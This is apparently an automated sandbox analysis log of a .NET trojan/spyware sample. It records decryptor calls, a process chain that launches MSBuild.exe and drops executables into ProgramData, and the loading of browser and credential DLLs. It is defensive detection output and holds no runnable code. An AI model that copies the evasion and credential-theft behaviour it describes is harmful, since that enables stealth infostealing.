Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.4651410.12.raw.unpack, DSzeK.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.33a64d0.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.33a64d0.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.5950000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.5950000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Binary or memory string: MSB4098: MSBuild is invoking VCBuild to build this project. Project-to-project references between VC++ projects (.VCPROJ) and C#/VB/VJ# projects (.CSPROJ, .VBPROJ, .VJSPROJ) are not supported by the command-line build systems when building stand-alone VC++ projects. Projects that contain such project-to-project references will fail to build. Please build the solution file containing this project instead.
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Binary or memory string: MSB4126: The specified solution configuration "{0}" is invalid. Please specify a valid solution configuration using the Configuration and Platform properties (e.g. MSBuild.exe Solution.sln /p:Configuration=Debug /p:Platform="Any CPU") or leave those properties blank to use the default solution configuration.
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Binary or memory string: yMSB4051: Project {0} is referencing a project with GUID {1}, but a project with this GUID was not found in the .SLN file.
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@12/33@4/6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 1_2_6C5C7030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification, 1_2_00411400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00410900 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear, 1_2_00410900
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1lKbb2hF7fYToopfpmEvlyRN.exe.log Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7280
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\60e15c14-ba06-4696-9779-531d632cc0fa
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe ReversingLabs: Detection: 50%
Source: unknown Process created: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe "C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe"
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DBAAFIDGDA.exe "C:\ProgramData\DBAAFIDGDA.exe"
Source: C:\ProgramData\DBAAFIDGDA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DGDBKFBAKF.exe "C:\ProgramData\DGDBKFBAKF.exe"
Source: C:\ProgramData\DGDBKFBAKF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 2980
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DBAAFIDGDA.exe "C:\ProgramData\DBAAFIDGDA.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DGDBKFBAKF.exe "C:\ProgramData\DGDBKFBAKF.exe" Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Section loaded: mscorjit.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: wldp.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: amsi.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: userenv.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: profapi.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Section loaded: mscorjit.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: wldp.dll Jump to behavior
